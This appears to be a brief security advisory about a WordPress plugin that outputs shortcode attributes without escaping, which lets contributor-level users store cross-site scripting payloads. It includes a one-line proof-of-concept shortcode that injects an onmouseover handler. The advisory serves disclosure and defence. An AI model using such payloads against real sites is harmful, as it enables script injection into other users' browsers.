The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks
[column size=‘" onmouseover=“alert(1)” style=“background:red;width:100px;height:100px;”’] Required theme: https://wordpress.org/themes/hueman/ (the shortcode is added only if this theme is used, because according to the wp.org standard, add_shortcode() is plugin territory)